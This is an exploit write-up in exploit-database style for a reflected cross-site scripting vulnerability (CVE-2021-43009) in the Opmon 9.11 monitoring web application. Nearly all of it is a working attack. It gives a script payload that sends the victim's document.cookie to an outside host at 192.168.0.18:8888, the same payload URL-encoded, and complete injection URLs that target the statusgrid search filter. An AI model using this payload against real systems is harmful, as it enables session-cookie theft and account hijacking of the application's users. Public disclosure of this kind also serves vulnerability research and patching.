# Exploit Title: Opmon 9.11 - Cross-site Scripting # Date: 2021-06-01 # Exploit Author: p3tryx # Vendor Homepage: https://www.opservices.com.br/monitoramento-real-time # Version: 9.11 # Tested on: Chrome, IE and Firefox # CVE : CVE-2021-43009 # URL POC: <script> alert(document.cookie); var i=new Image; i.src="http://192.168.0.18:8888/?"+document.cookie; </script> Url-encoded Payload %3Cscript%3E%0Aalert%28document.cookie%29%3B%0Avar%20i%3Dnew%20Image%3B%0Ai.src%3D%22http%3A%2F%2F192.168.0.18%3A8888%2F%3F%22%2Bdocument.cookie%3B%0A%3C%2Fscript%3E ``` *https://192.168.1.100/opmon/seagull/www/index.php/opinterface/action/redirect/initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/filter* <https://opmon/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/?filter> [search]=%27};PAYLOAD&x=0&y=0 *https://192.168.1.100/opmon/seagull/www/index.php/opinterface/action/redirect/initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/filter* <https://opmon/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/opinterface/action/redirect/?initial_page=/opmon/seagull/www/index.php/statusgrid/action/hosts/?filter> [search]=%27}; %3Cscript%3E%0Aalert%28document.cookie%29%3B%0Avar%20i%3Dnew%20Image%3B%0Ai.src%3D%22http%3A%2F%2F192.168.0.18%3A8888%2F%3F%22%2Bdocument.cookie%3B%0A%3C%2Fscript%3E &x=0&y=0 ```